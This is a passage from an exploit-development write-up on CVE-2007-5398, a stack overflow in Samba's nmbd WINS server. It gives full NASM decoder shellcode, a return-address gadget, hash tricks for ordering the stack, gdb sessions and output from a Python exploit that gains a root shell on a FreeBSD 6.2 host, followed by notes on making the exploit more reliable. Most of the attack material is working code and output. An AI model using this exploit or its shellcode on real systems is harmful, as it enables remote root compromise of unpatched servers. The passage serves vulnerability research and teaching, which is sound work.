../include/nameserv.h:#define NB_FLGMSK 0xE0

nmbd_winserver.c:
void wins_process_name_registration_request(struct subnet_record *subrec,
                                            struct packet_struct *p)
{
	...
        if(registering_group_name && (question->name_type != 0x1c)) {
                from_ip = *interpret_addr2("255.255.255.255");
        }
	...

--------------------------------------------

From the above, we see what the only certain bits set in the request flags 
is valid, and depending on what those bits are, that they can modify the ip
address associated with the register request. To keep things extremely 
simple, we will stick with using 0x0000 as the flags, and work out whatever
issues that brings us.

--[ 5.2 - Ordering the stack data correctly

Samba stores NMB registrations in the tdb[4] format, a database backend
designed by the Samba team to prevent re-implementing the same code several
times throughout Samba.

Due to the mechanisms that tdb uses, the way that nmbd returns our
registered flags and ip addresses are not necessarily in order that we
registered them. Further analysis reveals that we force a particular 
layout in order to exploit it correctly.

Looking at how names are looked up, we see:

--------------------------------------------
nmbd_winsserver.c:

static void process_wins_dmb_query_request(struct subnet_record *subrec,
                                           struct packet_struct *p)
{
	...
        fetch_all_active_wins_1b_names();
	...

void fetch_all_active_wins_1b_names(void)
{
        tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);
}

/***********************************************************************
 Fetch all *<1b> names from the WINS db and store on the namelist.
***********************************************************************/

static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA 
                                dbuf, void *state)
{
        struct name_record *namerec = NULL;

        if (kbuf.dsize != sizeof(unstring) + 1) {
                return 0;
        }

        /* Filter out all non-1b names. */
        if (kbuf.dptr[sizeof(unstring)] != 0x1b) {
                return 0;
        }

        namerec = wins_record_to_name_record(kbuf, dbuf);
        if (!namerec) {
                return 0;
        }

        DLIST_ADD(wins_server_subnet->namelist, namerec);
        return 0;
}
--------------------------------------------

fetch_all_active_wins_1b_names() just calls tdb_traverse() with a call
back function of fetch_1b_traverse_fn(), which adds it to a temporary name
cache storage, at the top of a doubly linked list.

Looking at tdb_traverse(), it calls tdb_traverse_internal(), which is
where the majority of the work gets done. At this stage, it is probably 
easier to look at how data gets stored to the database, which happens in
tdb_store().

--------------------------------------------
/* store an element in the database, replacing any existing element
   with the same key 

   return 0 on success, -1 on failure
*/
int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf, 
              int flag)
{

...

/* find which hash bucket it is in */
hash = tdb->hash_fn(&key);
if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1)
	return -1;

...

nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0,
nmbd/nmbd_winsserver.c:   wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0,
                     TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);


tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size)

struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags,
      int open_flags, mode_t mode)

...

if (hash_size == 0)
	hash_size = DEFAULT_HASH_SIZE;

tdb_private.h:#define DEFAULT_HASH_SIZE 131        
--------------------------------------------

From this, we can see that we need to use the hash_fn() (which defaults to
default_tdb_hash()) , and then we need to modulus the hash result by
DEFAULT_HASH_SIZE. By generating names that hash to 130, we can put our 
data in order on the stack, after every already existing 0x1b 
registrations. Before exploitation, we need to see how many existing 0x1b 
registrations exist, so that the stack can be overflowed correctly.

This reminds me of the Algorithmic Complexity attacks, outlined
here [5]. Not directly related, but still interesting none the less.

--[ 5.3 - Code execution analysis

By triggering the vulnerability and examining the stack layout, we see that
saved eip can be partially overwritten, with two bytes. If we overwrite 
once more, the top two bytes of eip will be the two flag bytes, and 
overwrite the first argument to the function. After the overwrite the value
of orig_packet, the nmbd code will index into it, to copy a 4 byte value, 
as seen below.

--------------------------------------------
nmbd_packets.c, send_reply_packet():
 973         packet.fd = orig_packet->fd;
--------------------------------------------

So far in the analysis, a partial overwrite of the two least significant 
bytes of eip seems to be the best course of action, as it's unlikely we can 
put anything useful in the top two bytes (due to the flags). Causing an 
overwrite of the least significant bytes with "D"'s, show:

--------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x08074444 in packet_is_for_wins_server ()
(gdb) x/10i $eip
0x8074444 <packet_is_for_wins_server+236>:     mov    0x400(%ebx),%eax
0x807444a <packet_is_for_wins_server+242>:     mov    (%eax),%eax
0x807444c <packet_is_for_wins_server+244>:     cmpl   $0x9,(%eax)
0x807444f <packet_is_for_wins_server+247>:     jle    0x80743a1
<packet_is_for_wins_server+73>
0x8074455 <packet_is_for_wins_server+253>:     push   $0x1fa
0x807445a <packet_is_for_wins_server+258>:     lea    0xfffd66ad(%ebx),%eax
0x8074460 <packet_is_for_wins_server+264>:     push   %eax
0x8074461 <packet_is_for_wins_server+265>:     lea    0xfffd6479(%ebx),%eax
0x8074467 <packet_is_for_wins_server+271>:     push   %eax
0x8074468 <packet_is_for_wins_server+272>:     push   $0xa
(gdb) i r ebx
ebx            0x0      0
(gdb) i r  
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x0      0
esp            0xbfbfe540       0xbfbfe540
ebp            0x44440000       0x44440000
esi            0x0      0
edi            0x41414141       1094795585
eip            0x8074444        0x8074444
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
--------------------------------------------

We can see that we can completely control edi and to a lesser extent ebp.

Looking at the disassembly of the applicable epilogue of the
reply_netbios_packet() function, we see:

--------------------------------------------
.text:0806D0A0                 pop     edi
.text:0806D0A1                 leave
.text:0806D0A2                 retn
--------------------------------------------

To gain complete control of eip, we can look for a jmp edi or push edi ;
ret. After some searching in 0x0807xxxx, a suitable instruction sequence 
is found (via incredibly lame means.. but it worked :p): 

--------------------------------------------
freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]"
 80728a4:       e8 57 c2 04 00          call   80beb00 <x_fclose>
--------------------------------------------

which translates into a push edi ; ret 0x04. By setting our last two bytes
to 0x080728a5, we can get direct control:

--------------------------------------------
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...y

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--------------------------------------------

From this point of time, we need to get shellcode running correctly. 
Thinking back to how the data is laid out ([2 byte flags, both null][4 byte 
ip address]).. it's probably the best approach to write a custom decoder.

--[ 5.4 - Shellcode

As discussed above, a special decoder would be needed so what we can use
generic shellcode available, as opposed to porting common shellcode to 
account for 1/3 of the bytes being rubbish.

After experimenting, I wrote a shellcode that would reconstruct 4 bytes, 
then skip two bytes, then jump to the place where we re-constructed the 
shellcode.

Shellcode is as follows (nasm -f bin first_layer_sc.asm -o
first_layer_sc.bin to compile.). At entry of the shellcode, edi points to
our current eip.

--------------------------------------------
BITS 32

%define tbnop add byte [eax],0x0	; 0x80 0x00 0x00

_start:
        add [eax], al		; two byte nulls, for flags.

        cld			; reset direction flag
        mov eax, edi            ; since our two byte nop dereferences [eax]
				; we need a writable memory location.

        tbnop			

        mov esi, edi            ; ESI = source of encoded shellcode
        nop

        tbnop

        add esi, byte 60        ; increment esi to start of real shellcode

        tbnop

        mov edi, esp            ; Place we're going to execute
        nop

        tbnop 

        xor ecx, ecx
        nop

        tbnop

        mov cl, byte 0x7e	; how many bytes we want to copy. Can copy up
				; 126 bytes or so. This can be fixed if
				; nessessacy
        nop
        tbnop

.copier:
        movsd
        nop 
        nop
        tbnop

        add esi, byte 0x02
        tbnop

        loopnz .copier
.ready:
        jmp esp
--------------------------------------------

For the second layer shellcode, we can use any shellcode we want. For
additional flexibility, I have used the InlineEgg [6] package to
allow for greater flexibility in the second layer shellcode. 

Encoding the shellcode for registration packets is extremely straight 
forward. Change the endian / ordering of 4 bytes and append 2 NULL bytes.

Ideally, the second layer shellcode would encode the shell registration
information over the existing socket / fd information, using the nmb 
protocol.
If it where a more useful exploit, it would be worth while expending the
effort to write the required code.

--[ 5.5 - Getting a shell

By combining the above information, and determining where in the stack the
shellcode lies, we can get a shell:

--------------------------------------------
[target machine]
(gdb) shell rm /var/db/samba/wins.*
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x28065af0 in ?? ()
(gdb) # This happened because our nmbd executed a new program
(gdb) c

[attacking machine]
$ python CVE-2007-5398.py --host 172.16.178.128 --target 0 
Hit y if you want to test registration flags, otherwise just hit enter> 
Existing registrations:  0
Amount of registrations to reach EIP:  239
Got 0 existing registrations. Hit any key to continue... 
First layer of shellcode is 66 bytes long
Second layer of shellcode is 246 bytes long
Names: |==========================================================| 100.00
Registering: |====================================================| 100.00
stack left over: 
Please hit enter to send final packet... 
Attempting to connect to 172.16.178.128:31337
 -------------------------------------------
You are in luck; it appears to of worked... shell below.
--
# It worked
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
# uname -a
FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 
2007     root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
--------------------------------------------

So, with a bunch of research and analysis, we're only part way there. It 
would be nice to have a better place to return to. 

--[ 5.6 - Making the exploit more reliable

Currently, our exploit has two hard coded entries, the first of which is 
the location of a sequence of code which uses edi to gain code execution 
(so far, 0x080728a5 (for our current target of FreeBSD 6.2). Additionally, 
it uses the exact location of the start of the shellcode. Due to various 
reasons, the stack address can change easily for such an exact address, due 
to reasons such as:

 * Starting or restarting nmbd manually
 * Differing environmental strings
 * In later Linux 2.6 series, memory randomisation is enabled by default, 
   for certain mappings.

There are a couple of opportunities to make this exploit more reliable, 
such as adding large nop sequences, or perhaps putting / finding some 
suitable code elsewhere.

The larger nop sequence may help, but 1/3 of the bytes are NULL / not 
useful, so it is debatable. Additionally, this means if the range was 
accurate, we have only a 2/3 chance of hitting a suitable nop sequence, as 
opposed to outright crashing (as "\x00\x00" encodes to add [eax], al, and 
since eax will be one (1) when the nop sequence is hit, it will crash.) So, 
for the time being we will look for another place / way to gain reliable 
execution control.

--[ 5.6.1 - static .bss data

While analysing this vulnerability, I noticed an interesting function that
gets called when sending registration packets:

--------------------------------------------
nmbd/nmbd_winsserver.c:

/*************************************************************************
 Overwrite or add a given name in the wins.tdb.
*************************************************************************/

static BOOL store_or_replace_wins_namerec(const struct name_record *namerec
                                          ,int tdb_flag)
{
        TDB_DATA key, data;
        int ret;

        if (!wins_tdb) {
                return False;
        }

        key = name_to_key(&namerec->name);
        data = name_record_to_wins_record(namerec);

        if (data.dptr == NULL) {
                return False;
        }

        ret = tdb_store(wins_tdb, key, data, tdb_flag);

        SAFE_FREE(data.dptr);
        return (ret == 0) ? True : False;
}

...

/*************************************************************************
 Create key. Key is UNIX codepage namestring (usually utf8 64 byte len) 
 with 1 byte type.
*************************************************************************/

static TDB_DATA name_to_key(const struct nmb_name *nmbname)
{
        static char keydata[sizeof(unstring) + 1];
        TDB_DATA key;

        memset(keydata, '\0', sizeof(keydata));

        pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name);
        strupper_m(keydata);
        keydata[sizeof(unstring)] = nmbname->name_type;
        key.dptr = keydata;
        key.dsize = sizeof(keydata);

        return key;
}
--------------------------------------------

The most interesting about the above is the static char
keydata[sizeof(unstring) + 1]; which gives us the ability to put upto 64
bytes into a static location in the .bss. However, since NetBIOS names are
15 chars long, there is still a lot of code that could be put here. Some
information on small shellcodes to find things can be found here [7]

name_to_key() is called from three locations in the code, with self
explaining names (not including the above store_or_replace_wins_namerec():

--------------------------------------------
/*************************************************************************
 Delete a given name in the tdb and remove the temporary malloc'ed data 
 struct on the linked list.
*************************************************************************/

BOOL remove_name_from_wins_namelist(struct name_record *namerec)
{

...

struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname
                                             ,BOOL self_only)
{
...

--------------------------------------------

Of interest is the store_or_replace_wins_namerec() which is called when 
sending the registration packets to trigger the overflow. We may be able to
send a suitable, short, shellcode that finds our loader shellcode in the
stack (or, with more effort, on the heap, thus avoiding Openwall style
non-executable stack patches).

Being able to use this static location gives us some advantages over stack
randomisation / changes. 

Looking further into pull_ascii_nstring() we see that it does DOS code page
mappings to UNIX code pages, especially relating to bytes with high bits
installed. Unfortunately, it heavily mangles the input (via the translation
phase), then performs an uppercase operation on the string. I experimented
with the above restrictions and was not get anything working, but it went 
over the length restriction. The idea worked on:

 * push esp
 * pop ebp
 * push edi
 * pop esp
 * using pop to access the code we're executing
 * using the charcase conversion to get 4 bytes with the most significant
   bit set from 1 byte.
 * using xor [edi+index], reg to modify the applicable code we're executing
   ,then to do something equivilent to sub ebp, <offset> ; jmp ebp

If anyone works out a suitable shellcode that fits in those restrictions, I
would definately be interested in hearing from you. I suspect given more 
time / motivation something would come up, and in hindsight would be a 
"that's obvious" case. Additionally, we can control the contents of the top 
two bytes of ebp, which may be useful in some way for coding the shellcode. 
Possibly something like:

 * push ebp
 * inc esp ; skip over null byte
 * inc esp 
 * byte with high bit set that gets translated into a 0xc3 (ret
   instruction)
 * What two arbitrary bytes it executes has to be chosen carefully. A jmp
   sled backwards may work, but certain data structures can not be modified
   randomly as nmbd will crash before code execution takes place.

Another potential static address we could use is the following:

--------------------------------------------
libsmb/nmblib.c:

1123 static unsigned char sort_ip[4];
1124 
1125 /*********************************************************************
1126  Compare two query reply records.
1127 *********************************************************************/
1128 
1129 static int name_query_comp(unsigned char *p1, unsigned char *p2)
1130 {
1131         return matching_quad_bits(p2+2, sort_ip) - 
                     matching_quad_bits(p1+2, sort_ip);
1132 }
1133 
1134 /*********************************************************************
1135  Sort a set of 6 byte name query response records so that the IPs that
1136  have the most leading bits in common with the specified address come 
      first.
1137 *********************************************************************/
1138 
1139 void sort_query_replies(char *data, int n, struct in_addr ip)
1140 {
1141         if (n <= 1)
1142                 return;
1143 
1144         putip(sort_ip, (char *)&ip);
1145 
1146         qsort(data, n, 6, QSORT_CAST name_query_comp);
1147 }
--------------------------------------------

which is reachable from nmbd/nmbd_winsserver.c:

--------------------------------------------
1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,
1832                                           struct name_record *namerec)
1833 {
1834         char rdata[6];
1835         char *prdata = rdata;
1836         int reply_data_len = 0;
1837         int ttl = 0;
1838         int i;
1839 
1840         memset(rdata,'\0',6);
1841 
1842         if(rcode == 0) {
1843                 ttl = (namerec->data.death_time != PERMANENT_TTL) ?  
          namerec->data.death_time - p->timestamp : lp_max_wi     ns_ttl();
1844 
1845               /* Copy all known ip addresses into the return data. */
1846               /* Optimise for the common case of one IP address so we
                      don't need a malloc. */
1847 
1848                 if( namerec->data.num_ips == 1 ) {
1849                         prdata = rdata;
1850                 } else {
1851                         if((prdata = (char *)
                       SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) {
1852          DEBUG(0,("send_wins_name_query_response: malloc fail !\n"));
1853                                 return;
1854                         }
1855                 }
1856 
1857                 for(i = 0; i < namerec->data.num_ips; i++) {
1858                     set_nb_flags(&prdata[i*6],namerec->data.nb_flags);
1859                 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]);
1860                 }
1861 
1862                 sort_query_replies(prdata, i, p->ip);
1863                 reply_data_len = namerec->data.num_ips * 6;
1864         }
1865 


--------------------------------------------

But I have not explored this path fully, but I don't think it would help 
too much.

After looking over what could be done with such restrictions, I started
looking around the code to see if there was any easier mechanisms that 
would give assistance in exploiting this issue reliably. I noticed a couple 
of static buffers that could be useful, but they required debugging to be
enabled to be exploited correctly - not exactly a good requirement for a 
reliable exploit.

--[ 5.6.2 - Memory leak

During the initial process of attempting to replicate the issue, I noticed
that nmbd would attempt to read from memory that we control - perhaps we 
can find a memory leak / information disclosure that is useful. Starting 
off with setting all normally NULL IP address to AABB, we see the first 
crash:

--------------------------------------------
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x080adc67 in debug_nmb_res_rec ()
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80adc67 <debug_nmb_res_rec+47>:  mov    0x60(%edx),%ecx
0x80adc6a <debug_nmb_res_rec+50>:  test   %ecx,%ecx
0x80adc6c <debug_nmb_res_rec+52>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc72 <debug_nmb_res_rec+58>:  cmp    $0xffffff9c,%edx
0x80adc75 <debug_nmb_res_rec+61>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc7b <debug_nmb_res_rec+67>:  cmp    $0x0,%ecx
0x80adc7e <debug_nmb_res_rec+70>:  movl   $0x0,0xffffffe8(%ebp)
0x80adc85 <debug_nmb_res_rec+77>:  jle    0x80add89 <debug_nmb_res_rec+337>
0x80adc8b <debug_nmb_res_rec+83>:  mov    0x400(%ebx),%eax
0x80adc91 <debug_nmb_res_rec+89>:  mov    %eax,0xffffffe0(%ebp)
(gdb) i r edx ecx
edx            0x41414242       1094795842
ecx            0x42420000       1111621632
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
--------------------------------------------

Starting our analysis at debug_nmb_packet() in libsmb/nmblib.c: 

--------------------------------------------
 103 
 104 /********************************************************************
 105  Process a nmb packet.
 106 ********************************************************************/
 107 
 108 void debug_nmb_packet(struct packet_struct *p)
 109 {
 110         struct nmb_packet *nmb = &p->packet.nmb;
 111 
 112         if( DEBUGLVL( 4 ) ) {
...
 131         }
 132 
 133         if (nmb->header.qdcount) {
 134       DEBUGADD( 4, ( "    question: q_name=%s q_type=%d q_class=%d\n",
...
 138         }
 139 
 140         if (nmb->answers && nmb->header.ancount) {
 141                 debug_nmb_res_rec(nmb->answers,"answers");
 142         }
 143         if (nmb->nsrecs && nmb->header.nscount) {
 144                 debug_nmb_res_rec(nmb->nsrecs,"nsrecs");
 145         }
 146         if (nmb->additional && nmb->header.arcount) {
 147                 debug_nmb_res_rec(nmb->additional,"additional");
 148         }
 149 }

(gdb) frame 1
#1  0x080ae023 in debug_nmb_packet ()
(gdb) x/8x $esp
0xbfbfdef0:     0x00000000      0x00000000      0x4795ddfa      0x08117a40
0xbfbfdf00:     0xbfbfe210      0x0000059a      0xbfbfe538      0x0806d1f8

Let's take a guess that 0xbfbfe210 is our nmb packet:

(gdb) x/x 0xbfbfe210	
0xbfbfe210:     0x41414242
(gdb) x/20x 0xbfbfe210
0xbfbfe210:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe220:     0x42420000      0x00004141      0x41414242      0x42420000
0xbfbfe230:     0x00004141      0x41414242      0x42420000      0x00004141
0xbfbfe240:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe250:     0x42420000      0x00004141      0x41414242      0x42420000
--------------------------------------------

So the above analysis makes sense. We have overwritten certain data 
structures it is looking at. Moving on, in debug_nmb_res_rec() we see: 

--------------------------------------------
  61 /*********************************************************************
  62  Print out a res_rec structure.
  63 *********************************************************************/
  64 
  65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr)
  66 {
  67         int i, j;
  68 
  69  DEBUGADD( 4, ( "    %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d\n",
  70                 hdr,
  71                 nmb_namestr(&res->rr_name),
  72                 res->rr_type,
  73                 res->rr_class,
  74                 res->ttl ) );
  75 
  76         if( res->rdlength == 0 || res->rdata == NULL )
  77                 return;
  78 
  79         for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) {
  80                 DEBUGADD(4, ("    %s %3x char ", hdr, i));
  81 
  82                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  83                         unsigned char x = res->rdata[i+j];
  84                         if (x < 32 || x > 127)
  85                                 x = '.';
  86 
  87                         if (i+j >= res->rdlength)
  88                                 break;
  89                         DEBUGADD(4, ("%c", x));
  90                 }
  91 
  92                 DEBUGADD(4, ("   hex "));
  93 
  94                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  95                         if (i+j >= res->rdlength)
  96                                 break;
  97                 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j]));
  98                 }
  99 
 100                 DEBUGADD(4, ("\n"));
 101         }
 102 }
 103 
--------------------------------------------

That code is not very useful at the moment. If the pointers where valid, 
it'd work (not surprisingly).

Looking at the code flow from send_packet(), (code is above), we hit some
interesting code that we can use for an information leak.

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x080ada3d in put_nmb_name ()
(gdb) bt
#0  0x080ada3d in put_nmb_name ()
#1  0x080ae26a in put_res_rec ()
#2  0x080af184 in build_packet ()
#3  0x080af236 in send_packet ()
#4  0x0806d38a in reply_netbios_packet ()
#5  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80ada3d <put_nmb_name+49>:    repz cmpsb %es:(%edi),%ds:(%esi)
0x80ada3f <put_nmb_name+51>:    jne    0x80adab5 <put_nmb_name+169>
0x80ada41 <put_nmb_name+53>:    mov    0x8(%ebp),%edi
0x80ada44 <put_nmb_name+56>:    pushl  0x50(%edi)
0x80ada47 <put_nmb_name+59>:    push   $0x0
0x80ada49 <put_nmb_name+61>:    pushl  0xffffffcc(%ebp)
0x80ada4c <put_nmb_name+64>:    lea    0xffffffd8(%ebp),%eax
0x80ada4f <put_nmb_name+67>:    push   %eax
0x80ada50 <put_nmb_name+68>:    call   0x80ad98c <put_name>
0x80ada55 <put_nmb_name+73>:    mov    0xffffffd4(%ebp),%edx
(gdb) i r edi esi
edi            0x8102db9        135278009
esi            0x0      0
--------------------------------------------

Unfortunately, the above is crashing due to a NULL pointer dereference in
esi when testing the contents of the name. (This piece of code is mapped to
the check where the name is tested against '*' in put_nmb_name().)

At this point of time I've decided that it is probably easier to start
analysing the contents of reply_netbios_packet() so that I can see exactly
what is being overwritten, where, and work out what effects it may have. 
For this we'll use IDA Pro Standard 5.2

First off, let's take a better look at what is happening in the source 
code,  it'll help with analysis of the assembly.

--------------------------------------------
nmbd/nmbd_winsserver.c:
 856 /*********************************************************************
 857   Reply to a netbios name packet.  see rfc1002.txt
 858 *********************************************************************/
 859 
 860 void reply_netbios_packet(struct packet_struct *orig_packet,
 861          int rcode, enum netbios_reply_type_code rcv_code, int opcode,
 862                           int ttl, char *data,int len)
 863 {
 864         struct packet_struct packet;
 865         struct nmb_packet *nmb = NULL;
 866         struct res_rec answers;
 867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
 868         BOOL loopback_this_packet = False;
 869         int rr_type = RR_TYPE_NB;
 870         const char *packet_type = "unknown";
 871 
 872         /* Check if we are sending to or from ourselves. */
 873  if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port))
 874                 loopback_this_packet = True;
 875 
 876         nmb = &packet.packet.nmb;
 877 
...
 965         if (data && len) {
 966                 nmb->answers->rdlength = len;
 967                 memcpy(nmb->answers->rdata, data, len);
 968         }
 969 
...
unfortunately, the nmb pointer is not used after line 967.
...

include/nameserv.h:
524 
525 struct packet_struct
526 {
527         struct packet_struct *next;
528         struct packet_struct *prev;
529         BOOL locked;
530         struct in_addr ip;
531         int port;
532         int fd;
533         time_t timestamp;
534         enum packet_type packet_type;
535         union {
536                 struct nmb_packet nmb;
537                 struct dgram_packet dgram;
538         } packet;
539 };
540 

..

459 /* An nmb packet. */
460 struct nmb_packet {
461         struct {
462                 int name_trn_id;
463                 int opcode;
464                 BOOL response;
465                 struct {
466                         BOOL bcast;
467                         BOOL recursion_available;
468                         BOOL recursion_desired;
469                         BOOL trunc;
470                         BOOL authoritative;
471                 } nm_flags;
472                 int rcode;
473                 int qdcount;
474                 int ancount;
475                 int nscount;
476                 int arcount;
477         } header;
478 
479         struct {
480                 struct nmb_name question_name;
481                 int question_type;
482                 int question_class;
483         } question;
484 
485         struct res_rec *answers;
486         struct res_rec *nsrecs;
487         struct res_rec *additional;
488 };

...

441 /* A resource record. */
442 struct res_rec {
443         struct nmb_name rr_name;
444         int rr_type;
445         int rr_class;
446         int ttl;
447         int rdlength;
448         char rdata[MAX_DGRAM_SIZE];
449 };
450 


...

include/smb.h:
1718 /* A netbios name structure. */
1719 struct nmb_name {
1720         nstring      name;
1721         char         scope[64];
1722         unsigned int name_type;
1723 };

...

1712 #define MAX_NETBIOSNAME_LEN 16
1713 /* DOS character, NetBIOS namestring. Type used on the wire. */
1714 typedef char nstring[MAX_NETBIOSNAME_LEN];
1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in 
nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];
--------------------------------------------

Looking over the struct nmb_packet, we see that it may be useful to 
overwrite the qdcount, and set a count for either ancount, nscount, or
adcount (which map to the pointers: answers, nsrec and additional,
respectively). Since there are 12 bytes, we can directly control one set of
these. Hopefully, the control of the count arguments map to direct control 
of the same pointer, otherwise additional problems will be had.

Looking at these structure layouts, one way of setting this up would be to
analyze the stack layouts, and re-create the structures in the exploit code
,which then gets serialized / sent across the wire. 

One disadvantage of this model is that it needs additional flexibility 
due to difference in compiler output for different versions, and 
potentially different compiler flags / options / optimisations, as there 
may be additional padding / ordering, and other fun things to deal.

An additional problem with controlling a pointer to a "struct res_rec" is 
that that the rdlength field has to be a sane value, otherwise it may crash 
in memcpy, or, cause an EIP overwrite in the sendpacket() function in char
buf[1024];. Both of these results would cause the process to crash :(. As
this is a single shot vulnerability, causing it to potentially crash is 
out of the question.

Since we're unable to know contents of the memory we're trying to leak in
advance, there doesn't appear to be much point continuing down this path. 
That said, it may be possible to use certain static[] data to leak contents 
of the .bss and heap that may be useful. 

After initially being disappointed about this realisation, I realised that 
by using known static .bss location, we could hopefully leak the rest of 
the .bss, then, if we're lucky, the heap allocation. One side effect of 
trying to leak the heap layout, is that it is not guaranteed to be straight 
after the nmbd .bss. (For example, default kernel on Fedora 8 ships with 
heap randomised and NOT after the .bss).

Due to this, we would need to find a suitable pointer to the heap in the
.bss. A suitable pointer value is:

 * One that is not allocated too early in the nmbd initialisation process.
   This requirement is because the res_rec structure size is fairly large,
   and if it is an early allocated structure, by adjusting the pointer so 
   that
   rdlength points to the integer, it may hit an unmapped page.
 * One that has a suitable small 4 byte integer value from the pointer
   location, so that we can continue the memory leaking / analysis.

Before we get too far ahead of ourselves, first we need to re-create the 
stack layout, and see if we can overwrite some of the counts / pointers 
correctly.

After doing some analysis of how the stack is laid out, (via IDA Pro 
Standard 5.2) we can start to adjust the exploit code to ensure it works. 
I added the applicable structure representations in python so that I could
set the values explicitly (for example, nmb_packet['answers'] = 0x08049000)
, rather than having to hard code offsets / hex arrays. 

Unfortunately, it appears that the stack layout for FreeBSD 6.2's Samba
release, the ancount variable is not aligned with the 6 byte writes :( :(

We can however influence the 2 most significant bytes (with least 2 
significant bytes being flags), but reviewing the
put_res_rec(), it kills the dream further:

--------------------------------------------
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
--------------------------------------------

Looping at a minimum of 65536 is out of the question, as the 1024 byte
buffer in send_packet() will quickly be overflowed, and the memcpy()
length parameter is unknown on subsequent calls.

Reviewing the flags that's available to us:

--------------------------------------------
  77 /********************************************************************
  78 Get/Set problematic nb_flags as network byte order 16 bit int.
  79 ********************************************************************/
  80 
  81 uint16 get_nb_flags(char *buf)
  82 {
  83         return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
  84 }
  85 
  86 void set_nb_flags(char *buf, uint16 nb_flags)
  87 {
  88         *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);
  89         *buf = '\0';
  90 }

  nameserv.h:
  89 /* Mask applied to outgoing NetBIOS flags. */
  90 #define NB_FLGMSK 0xE0

--------------------------------------------

We can see we control the most significant byte of the 2-byte flag, which 
is still highly undesirable, as the put_res_rec() code will loop at a 
minimum of thirty two times. 

Unfortunately, these restrictions prevent us from
setting the ancount to 1. Due to the 6 byte writes, the other fields nsrec
and additional will not be overwritten correctly. So far, it appears that
FreeBSD 6.2 default samba package is not vulnerable to this identified 
memory leak, which is unfortunate.

After a quick analysis of the nmbd binary in Ubuntu 7.10 default install, 
it appears the stack checking code re-ordered the buffers, and put the 
resource record after the packet structure - this means we can't use it to 
leak memory from nmbd :( If we could of leaked memory, there may be a 
possibility to use that to reveal what the stack cookie is. If the stack \
cookie was leakable, and our 6 byte writes aligned correctly, we could 
exploit the process.

--[ 5.6.2 - Back to the future^W.bss

